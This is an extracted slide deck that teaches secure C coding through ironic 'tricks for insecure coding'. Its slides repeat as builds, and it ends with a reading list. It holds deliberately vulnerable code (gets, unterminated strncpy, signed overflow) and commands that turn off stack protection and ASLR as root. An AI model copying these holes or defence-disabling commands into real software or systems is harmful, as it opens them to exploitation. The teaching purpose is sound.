void foo(void){ int i = INT_MAX - 3; while (i > 0) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out2147483644214748364521474836462147483647$ cc -O2 foo.c && ./a.out2147483644214748364521474836462147483647
![Page 315: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/315.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (i > 0) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out2147483644214748364521474836462147483647$ cc -O2 foo.c && ./a.out2147483644214748364521474836462147483647-2147483648
![Page 316: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/316.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (i > 0) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out2147483644214748364521474836462147483647$ cc -O2 foo.c && ./a.out2147483644214748364521474836462147483647-2147483648-2147483647-2147483646-2147483645-2147483644-2147483643-2147483642-2147483641-2147483640-2147483639-2147483638-2147483637-2147483636-2147483635-2147483634-2147483633
![Page 317: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/317.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (i > 0) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out2147483644214748364521474836462147483647$ cc -O2 foo.c && ./a.out2147483644214748364521474836462147483647-2147483648-2147483647-2147483646-2147483645-2147483644-2147483643-2147483642-2147483641-2147483640-2147483639-2147483638-2147483637-2147483636-2147483635-2147483634-2147483633
![Page 318: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/318.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (true ) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out2147483644214748364521474836462147483647$ cc -O2 foo.c && ./a.out2147483644214748364521474836462147483647-2147483648-2147483647-2147483646-2147483645-2147483644-2147483643-2147483642-2147483641-2147483640-2147483639-2147483638-2147483637-2147483636-2147483635-2147483634-2147483633
![Page 319: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/319.jpg)
#include <stdio.h>#include <limits.h>
void foo(void){ int i = INT_MAX - 3; while (true ) printf("%d\n", i++);}
int main(void){ foo();}
$ cc foo.c && ./a.out2147483644214748364521474836462147483647$ cc -O2 foo.c && ./a.out2147483644214748364521474836462147483647-2147483648-2147483647-2147483646-2147483645-2147483644-2147483643-2147483642-2147483641-2147483640-2147483639-2147483638-2147483637-2147483636-2147483635-2147483634-2147483633
Trick #7:
Write insecure code by letting the optimizer
remove apparently critical code
![Page 320: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/320.jpg)
#include <stdio.h>#include <string.h>
void foo(char * str){ char secret[] = "Joshua"; char buffer[16]; strncpy(buffer, str, sizeof buffer);
printf("%s\n", buffer); // ...}
int main(void){ foo("David"); foo("globalthermonuclearwar");}
![Page 321: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/321.jpg)
#include <stdio.h>#include <string.h>
void foo(char * str){ char secret[] = "Joshua"; char buffer[16]; strncpy(buffer, str, sizeof buffer);
printf("%s\n", buffer); // ...}
int main(void){ foo("David"); foo("globalthermonuclearwar");}
foo.c && ./a.out
![Page 322: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/322.jpg)
#include <stdio.h>#include <string.h>
void foo(char * str){ char secret[] = "Joshua"; char buffer[16]; strncpy(buffer, str, sizeof buffer);
printf("%s\n", buffer); // ...}
int main(void){ foo("David"); foo("globalthermonuclearwar");}
foo.c && ./a.outDavid
![Page 323: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/323.jpg)
#include <stdio.h>#include <string.h>
void foo(char * str){ char secret[] = "Joshua"; char buffer[16]; strncpy(buffer, str, sizeof buffer);
printf("%s\n", buffer); // ...}
int main(void){ foo("David"); foo("globalthermonuclearwar");}
foo.c && ./a.outDavidglobalthermonuclJoshua
![Page 324: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/324.jpg)
#include <stdio.h>#include <string.h>
void foo(char * str){ char secret[] = "Joshua"; char buffer[16]; strncpy(buffer, str, sizeof buffer);
printf("%s\n", buffer); // ...}
int main(void){ foo("David"); foo("globalthermonuclearwar");}
foo.c && ./a.outDavidglobalthermonuclJoshua
buffer[sizeof buffer - 1] = '\0';
![Page 325: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/325.jpg)
#include <stdio.h>#include <string.h>
void foo(char * str){ char secret[] = "Joshua"; char buffer[16]; strncpy(buffer, str, sizeof buffer);
printf("%s\n", buffer); // ...}
int main(void){ foo("David"); foo("globalthermonuclearwar");}
foo.c && ./a.outDavidglobalthermonuclJoshua
Trick #8:
Write insecure code by using library
functions incorrectly
buffer[sizeof buffer - 1] = '\0';
![Page 326: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/326.jpg)
08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret
080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt>
804853f leave 8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
![Page 327: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/327.jpg)
08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret
080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt>
804853f leave 8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
$ gcc -fno-stack-protector launch.c
![Page 328: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/328.jpg)
08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret
080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt>
804853f leave 8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
$ gcc -fno-stack-protector launch.c
Trick #9:
Disable stack protection
![Page 329: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/329.jpg)
![Page 330: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/330.jpg)
$ sudo sh
![Page 331: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/331.jpg)
$ sudo sh# echo 0 > /proc/sys/kernel/randomize_va_space
![Page 332: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/332.jpg)
$ sudo sh# echo 0 > /proc/sys/kernel/randomize_va_space
$ gcc -fno-pic -fno-pie -o launch launch.c
![Page 333: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/333.jpg)
$ sudo sh# echo 0 > /proc/sys/kernel/randomize_va_space
$ gcc -fno-pic -fno-pie -o launch launch.c
Trick #10:
Disable ASLR whenever you can.
![Page 334: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/334.jpg)
![Page 335: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/335.jpg)
Trick #11:
Avoid hardware and operating systems that
enforce DEP/W^X/NX-bit
![Page 336: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/336.jpg)
![Page 337: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/337.jpg)
$ gcc -o launch_shared launch.c
![Page 338: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/338.jpg)
$ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c
![Page 339: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/339.jpg)
$ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch*
![Page 340: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/340.jpg)
$ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch*-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c
![Page 341: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/341.jpg)
$ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch*-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c-rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared
![Page 342: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/342.jpg)
$ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch*-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c-rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared-rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static
![Page 343: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/343.jpg)
$ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch*-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c-rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared-rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static$ python ROPgadget.py --binary launch_shared | tail -1
![Page 344: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/344.jpg)
$ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch*-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c-rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared-rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static$ python ROPgadget.py --binary launch_shared | tail -1Unique gadgets found: 76
![Page 345: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/345.jpg)
$ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch*-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c-rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared-rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static$ python ROPgadget.py --binary launch_shared | tail -1Unique gadgets found: 76$ python ROPgadget.py --binary launch_static | tail -1
![Page 346: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/346.jpg)
$ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch*-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c-rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared-rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static$ python ROPgadget.py --binary launch_shared | tail -1Unique gadgets found: 76$ python ROPgadget.py --binary launch_static | tail -1Unique gadgets found: 9673
![Page 347: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/347.jpg)
$ gcc -o launch_shared launch.c $ gcc -static -o launch_static launch.c $ ls -al launch*-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c-rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared-rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static$ python ROPgadget.py --binary launch_shared | tail -1Unique gadgets found: 76$ python ROPgadget.py --binary launch_static | tail -1Unique gadgets found: 9673
Trick #12:
Make it easy to find many ROP gadgets in
your
program
![Page 348: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/348.jpg)
![Page 349: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/349.jpg)
$ openssl dgst -sha256 ./launch
![Page 350: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/350.jpg)
$ openssl dgst -sha256 ./launch568ef1de39115c381aa3fa67f8f31fad5ba262a2b1f2dc70812609c9f5a76dcb
![Page 351: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/351.jpg)
$ openssl dgst -sha256 ./launch568ef1de39115c381aa3fa67f8f31fad5ba262a2b1f2dc70812609c9f5a76dcb
![Page 352: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/352.jpg)
Trick #13:
Skip integrity checks when installing and
running new software.
$ openssl dgst -sha256 ./launch568ef1de39115c381aa3fa67f8f31fad5ba262a2b1f2dc70812609c9f5a76dcb
![Page 353: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/353.jpg)
![Page 354: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/354.jpg)
Trick #0:
Never ever let other programmers review
your code
![Page 355: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/355.jpg)
#1 Write insecure code by depending on a particular evaluation order#2 Write insecure code by breaking the sequencing rules#3 Write insecure code where the result depends on the compiler#4 Write insecure code by knowing the blind spots of your compilers#5 Write insecure code by messing up the internal state of the program.#6 Write insecure code by only assuming valid input values#7 Write insecure code by letting the optimizer remove apparently critical code#8 Write insecure code by using library functions incorrectly#9 Disable stack protection#10 Disable ASLR whenever you can.#11 Avoid hardware and operating systems that enforce DEP/W^X/NX-bit#12 Make it easy to find many ROP gadgets in your program#13 Skip integrity checks when installing and running new software.
Some tricks for insecure coding in C and C++
... and of course, there are plenty more tricks not covered here...
#0 Never ever let other programmers review your code
![Page 356: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/356.jpg)
!
![Page 357: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/357.jpg)
Resources"C Programming Language" by Kernighan and Ritchie is a book that you need to read over and over again. Security vulnerabilities and bugs in C are very often just a result of not using the language correctly. Instead of trying to remember everthing as it is formally written in the C standard, it is better to try to understand the spirit of C and try to understand why things are designed as they are in the language. Nobody tells this story better than K&R.
I got my first serious journey into deeper understanding of C came when I read Peter van der Linden wonderful book "Expert C programming" (1994). I still consider it as one of the best books ever written about C.
"C traps and pitfalls" by Andrew Koenig (1988) is also a very good read.
All professional C programmers should have a copy of the C standard and they should get used to regularly look up terms and concepts in the standard. It is easy to find cheap PDF-version of the standard ($30), but you can also just download the latest draft and they are usually 99,93% the same as the real thing. I also encourage everyone to read the Rationale for C99 which is available for free on the WG14 site. http://www.open-std.org/jtc1/sc22/wg14/
Robert C. Seacord has written a book about how to do secure coding in C and C++. This is based on serious research done by CERT program of the Carnegie Mellon's Software Engineering Institute.
This is a really nice book about how to hack into systems and programs written in C. The book also has a surprisingly concise and well written introduction to C as a programming language. All of the techniques discussed in these slides, and much more, is discussed in this book.